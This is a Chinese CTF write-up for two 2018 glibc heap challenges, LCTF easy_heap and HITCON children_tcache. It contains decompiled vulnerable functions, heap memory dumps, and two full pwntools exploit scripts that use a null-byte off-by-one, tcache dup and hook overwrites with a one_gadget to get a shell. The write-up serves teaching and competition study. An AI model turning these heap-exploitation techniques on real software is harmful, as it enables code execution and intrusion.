内容简介:花时间学习了一下tcache的一些东西,现在来写一写关于这个机制的两道解题过程。一道关于试试程序发现是常规的堆题。
前言:
花时间学习了一下tcache的一些东西,现在来写一写关于这个机制的两道解题过程。
正文:
2018 LCTF easy_heap:
一道关于 tcache
的利用题,也是之前打 LCTF
的第一题,现在来看一看。
试试程序发现是常规的堆题。
来看看伪代码:
漏洞主要就出在创建堆函数中,存在一个 null-byte-one
漏洞:
unsigned __int64 __fastcall sub_BEC(_BYTE *a1, int a2) { unsigned int v3; // [rsp+14h] [rbp-Ch] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); v3 = 0; if ( a2 ) { while ( 1 ) { read(0, &a1[v3], 1uLL); if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == 10 ) break; ++v3; } a1[v3] = 0; a1[a2] = 0; // null by one } else { *a1 = 0; } return __readfsqword(0x28u) ^ v4; }
一般情况下,遇到 null-byte-one
我们都会选择用 overlapping
。但是这里所分配的堆块是固定0x100大小的,不能更改,所以说我们无法构造出我们想要的堆块来利用 overlapping
,那么我们换种思路,既然这里选择的是最新版用上 tcache
机制的libc,那么我们便来利用上他的一些机制。利用 unsort bin
来构造攻击,首先先分配满十个堆块:
for i in range(10): create(0xf8,'A'*0xf0)
然后delete掉十个,七个进cache,三个进unseat bin当中,这里delete需要交错delete,方便实现之后的unlink:
delete(1) delete(3) for i in range(5,10): delete(i) delete(0) delete(2) delete(4)
然后我们再分配掉七个tcache bin,分配前两个unsort bin并且其中一个用上 null-byte-one
漏洞,此时的堆块情况就是这样的:
0x55b13d397300: 0x0000000000000000 0x0000000000000101 --> 最后一块没create的unsort bin堆块 0x55b13d397310: 0x0000000000000000 0x000055b13d397500 0x55b13d397320: 0x0000000000000000 0x0000000000000000 0x55b13d397330: 0x0000000000000000 0x0000000000000000 0x55b13d397340: 0x0000000000000000 0x0000000000000000 0x55b13d397350: 0x0000000000000000 0x0000000000000000 0x55b13d397360: 0x0000000000000000 0x0000000000000000 0x55b13d397370: 0x0000000000000000 0x0000000000000000 0x55b13d397380: 0x0000000000000000 0x0000000000000000 0x55b13d397390: 0x0000000000000000 0x0000000000000000 0x55b13d3973a0: 0x0000000000000000 0x0000000000000000 0x55b13d3973b0: 0x0000000000000000 0x0000000000000000 0x55b13d3973c0: 0x0000000000000000 0x0000000000000000 0x55b13d3973d0: 0x0000000000000000 0x0000000000000000 0x55b13d3973e0: 0x0000000000000000 0x0000000000000000 0x55b13d3973f0: 0x0000000000000000 0x0000000000000000 0x55b13d397400: 0x0000000000000100 0x0000000000000101 0x55b13d397410: 0x0000000000000000 0x0000000000000000 0x55b13d397420: 0x0000000000000000 0x0000000000000000 0x55b13d397430: 0x0000000000000000 0x0000000000000000 0x55b13d397440: 0x0000000000000000 0x0000000000000000 0x55b13d397450: 0x0000000000000000 0x0000000000000000 0x55b13d397460: 0x0000000000000000 0x0000000000000000 0x55b13d397470: 0x0000000000000000 0x0000000000000000 0x55b13d397480: 0x0000000000000000 0x0000000000000000 0x55b13d397490: 0x0000000000000000 0x0000000000000000 0x55b13d3974a0: 0x0000000000000000 0x0000000000000000 0x55b13d3974b0: 0x0000000000000000 0x0000000000000000 0x55b13d3974c0: 0x0000000000000000 0x0000000000000000 0x55b13d3974d0: 0x0000000000000000 0x0000000000000000 0x55b13d3974e0: 0x0000000000000000 0x0000000000000000 0x55b13d3974f0: 0x0000000000000000 0x0000000000000000 0x55b13d397500: 0x0000000000000000 0x0000000000000101 --> 此时堆块是在使用的 0x55b13d397510: 0x000055b13d397300 0x000055b13d397700 0x55b13d397520: 0x0000000000000000 0x0000000000000000 0x55b13d397530: 0x0000000000000000 0x0000000000000000 0x55b13d397540: 0x0000000000000000 0x0000000000000000 0x55b13d397550: 0x0000000000000000 0x0000000000000000 0x55b13d397560: 0x0000000000000000 0x0000000000000000 0x55b13d397570: 0x0000000000000000 0x0000000000000000 0x55b13d397580: 0x0000000000000000 0x0000000000000000 0x55b13d397590: 0x0000000000000000 0x0000000000000000 0x55b13d3975a0: 0x0000000000000000 0x0000000000000000 0x55b13d3975b0: 0x0000000000000000 0x0000000000000000 0x55b13d3975c0: 0x0000000000000000 0x0000000000000000 0x55b13d3975d0: 0x0000000000000000 0x0000000000000000 0x55b13d3975e0: 0x0000000000000000 0x0000000000000000 0x55b13d3975f0: 0x0000000000000000 0x0000000000000000 0x55b13d397600: 0x0000000000000100 0x0000000000000100 --> 用上了'n-b-o' 0x55b13d397610: 0x000055b13d397400 0x0000000000000000 0x55b13d397620: 0x0000000000000000 0x0000000000000000 0x55b13d397630: 0x0000000000000000 0x0000000000000000 0x55b13d397640: 0x0000000000000000 0x0000000000000000 0x55b13d397650: 0x0000000000000000 0x0000000000000000 0x55b13d397660: 0x0000000000000000 0x0000000000000000 0x55b13d397670: 0x0000000000000000 0x0000000000000000 0x55b13d397680: 0x0000000000000000 0x0000000000000000 0x55b13d397690: 0x0000000000000000 0x0000000000000000 0x55b13d3976a0: 0x0000000000000000 0x0000000000000000 0x55b13d3976b0: 0x0000000000000000 0x0000000000000000 0x55b13d3976c0: 0x0000000000000000 0x0000000000000000 0x55b13d3976d0: 0x0000000000000000 0x0000000000000000 0x55b13d3976e0: 0x0000000000000000 0x0000000000000000 0x55b13d3976f0: 0x0000000000000000 0x0000000000000000 0x55b13d397700: 0x0000000000000000 0x0000000000000101 0x55b13d397710: 0x000055b13d397500 0x00007f384a260ca0 0x55b13d397720: 0x0000000000000000 0x0000000000000000 0x55b13d397730: 0x0000000000000000 0x0000000000000000 0x55b13d397740: 0x0000000000000000 0x0000000000000000 0x55b13d397750: 0x0000000000000000 0x0000000000000000 0x55b13d397760: 0x0000000000000000 0x0000000000000000 0x55b13d397770: 0x0000000000000000 0x0000000000000000 0x55b13d397780: 0x0000000000000000 0x0000000000000000 0x55b13d397790: 0x0000000000000000 0x0000000000000000 0x55b13d3977a0: 0x0000000000000000 0x0000000000000000
这里需要注意的一个点就是,当分配第一个unsort bin中的堆块时,会将unsort bin中的堆块放到tcache当中去,所以后面需要将tcache填满时只需填上6个即可。
然后再利用 null-byte-one
实现unlink。
delete(5)
这样我们可以泄漏出libc地址,而且有两个指针指向同一个堆块,可以free掉两次,实现tcache dup。
#泄漏libc地址: for i in range(9) : p.recvuntil('> ') data = u64(p.recv(6).ljust(8,'\x00')) libc_base = data - 4111520 log.success('libc base is :'+hex(libc_base)) free_hook = libc_base + 4118760 one_gadget = libc_base + 0x4f322 log.success('free hook is :'+hex(free_hook))
因为程序开了 Full RELRO
,所以这里就修改 __free_hook
成 one_gadget
来getshell。
for i in range(7) : create(0xf0,'\n') create(0xf0,'\n') delete(0) #空出一个位置来为后面做准备 delete(8) delete(9) create(0xf0,p64(free_hook)) create(0xf0,p64(free_hook)) tcache指向了free_hook create(0xf0,p64(one_gadget)) 修改为one_gadget delete(1) #触发
EXP:
from pwn import * p = process('./easy_heap') libc = ELF('easy_heap') elf = ELF('./libc64.so') context.log_level = 'debug' def create(size,content) : p.sendlineafter('> ','1') p.sendlineafter('> ',str(size)) p.sendlineafter('> ',content) def show(index) : p.sendlineafter('> ','3') p.sendlineafter('> ',str(index)) def delete(index) : p.sendlineafter('> ','2') p.sendlineafter('> ',str(index)) for i in range(10): create(0xf8,'A'*0xf0) delete(1) delete(3) for i in range(5,10): delete(i) delete(0) delete(2) delete(4) for i in range(7) : create(0xf0,'\n') create(0xf0,'\n') create(0xf8,'\n') for i in range(5) : delete(i) delete(6) delete(5) show(8) for i in range(9) : p.recvuntil('> ') #此处不太准确,根据自己环境自行修改 data = u64(p.recv(6).ljust(8,'\x00')) libc_base = data - 4111520 log.success('libc base is :'+hex(libc_base)) free_hook = libc_base + 4118760 one_gadget = libc_base + 0x4f322 log.success('free hook is :'+hex(free_hook)) for i in range(7) : create(0xf0,'\n') create(0xf0,'\n') delete(0) delete(8) delete(9) create(0xf0,p64(free_hook)) create(0xf0,p64(free_hook)) create(0xf0,p64(one_gadget)) delete(1) p.interactive()
2018 HITCON children_tcache:
这也是一道常规题,看一下伪代码可以发现也是只有一个 null-byte-one
漏洞:
unsigned __int64 create() { signed int i; // [rsp+Ch] [rbp-2034h] char *dest; // [rsp+10h] [rbp-2030h] unsigned __int64 size; // [rsp+18h] [rbp-2028h] char s; // [rsp+20h] [rbp-2020h] unsigned __int64 v5; // [rsp+2038h] [rbp-8h] v5 = __readfsqword(0x28u); memset(&s, 0, 0x2010uLL); for ( i = 0; ; ++i ) { if ( i > 9 ) { puts(":("); return __readfsqword(0x28u) ^ v5; } if ( !qword_202060[i] ) break; } printf("Size:"); size = sub_B67(); if ( size > 0x2000 ) // size < 0x2000 exit(-2); dest = malloc(size); if ( !dest ) exit(-1); printf("Data:"); sub_BC8(&s, size); strcpy(dest, &s); // off by one qword_202060[i] = dest; qword_2020C0[i] = size; return __readfsqword(0x28u) ^ v5; }
这里size在范围内是由自己选择的,所以说比上面那一题简单一些,跟上面那一题的思路一样,利用unlink来解决问题,首先构造一个大于0x408的堆块来避免tcache机制,再构造一个在tcache机制中的chunk,再构造一个大于0x408的chunk来避免tcache,以此unlink的时候可以不被tcache影响,此时:
create(0x500, 'a' * 0x4ff) create(0x68, 'b' * 0x67) create(0x5f0, 'c' * 0x5ef) create(0x20, 'd' * 0x20) -->避免合并top chunk
这时候的堆块情况为:
----------------- | 0x511 | | | ----------------- | 0x71 | | | ----------------- | 0x601 | | | -----------------
利用 null-byte-one
将0x601变为0x600以此来unlink:
for i in range(9): create(0x68 - i, 'b' * (0x68 - i)) delete(0) create(0x68,'b'*0x60+p64(0x580)) #gdb.attach(p) delete(2)
unlink后得到了一个0xb81的chunk,包括了以上三个chunk,但是其中chunk2还是有指针的,所以就能够堆块重用,使得两个指针指向chunk2,先malloc一个0x508的chunk,此时就可以leak出libc地址:
create(0x508,'a'*0x507) #gdb.attach(p) show(0)
此时原本的chunk2变成了:
pwndbg> x/20xg 0x55747df85760 0x55747df85760: 0x0061616161616161 0x0000000000000671 0x55747df85770: 0x00007fdb58b5fca0 0x00007fdb58b5fca0 0x55747df85780: 0x0000000000000000 0x0000000000000000
所以在此malloc一个0x68大小的chunk2,就可以实现cache dup,之后就常规操作了,改变malloc地址为one_gadget的地址,实现getshell:
create(0x68,p64(malloc_addr)+0x5f*'a') create(0x68,'a'*0x67) create(0x68,p64(one_addr))
EXP:
from pwn import * p = process('./program') elf = ELF('program') libc = ELF('libc-2.27.so') context.log_level = 'debug' def create(size,content): p.sendlineafter('Your choice: ','1') p.sendlineafter('Size:',str(size)) p.sendafter('Data:',content) def show(index) : p.sendlineafter('Your choice: ','2') p.sendlineafter('Index:',str(index)) def delete(index) : p.sendlineafter('Your choice: ','3') p.sendlineafter('Index:',str(index)) create(0x500, 'a' * 0x4ff) create(0x68, 'b' * 0x67) create(0x5f0, 'c' * 0x5ef) create(0x20, 'd' * 0x20) delete(1) delete(0) for i in range(9): create(0x68 - i, 'b' * (0x68 - i)) delete(0) create(0x68,'b'*0x60+p64(0x580)) #gdb.attach(p) delete(2) #gdb.attach(p) create(0x508,'a'*0x507) #gdb.attach(p) show(0) #gdb.attach(p) data = u64(p.recv(6).ljust(8,'\x00')) libc_base = data - 4111520 print 'libc_base :' + hex(libc_base) create(0x68,'b'*0x67) delete(0) delete(2) malloc_addr = libc_base + libc.symbols['__malloc_hook'] one_addr = libc_base + 0x4f322 create(0x68,p64(malloc_addr)+0x5f*'a') create(0x68,'a'*0x67) create(0x68,p64(one_addr)) print hex(malloc_addr) p.sendlineafter('Your choice: ','1') p.sendlineafter('Size:','10') p.interactive()
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 聊一聊Ozone如何高效利用Raft机制
- QQ二维码登陆机制分析+双重SSRF钓鱼利用
- 如何利用缓存机制实现 Java 类反射性能提升 30 倍
- LWN: 利用TCP SACK机制让远端Linux崩溃
- iOS 上利用 fallback 机制为不同语言的文字 (script) 设定字体,从而使得文本混排更为优雅
- 快速失败机制 & 失败安全机制
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
TCP/IP详解 卷1:协议
W.Richard Stevens / 范建华 / 机械工业出版社 / 2000-4-1 / 45.00元
《TCP/IP详解卷1:协议》是一本完整而详细的TCP/IP协议指南。描述了属于每一层的各个协议以及它们如何在不同操作系统中运行。作者W.Richard Stevens用Lawrence Berkeley实验室的tcpdump程序来捕获不同操作系统和TCP/IP实现之间传输的不同分组。对tcpdump输出的研究可以帮助理解不同协议如何工作。 《TCP/IP详解卷1:协议》适合作为计算机专业学......一起来看看 《TCP/IP详解 卷1:协议》 这本书的介绍吧!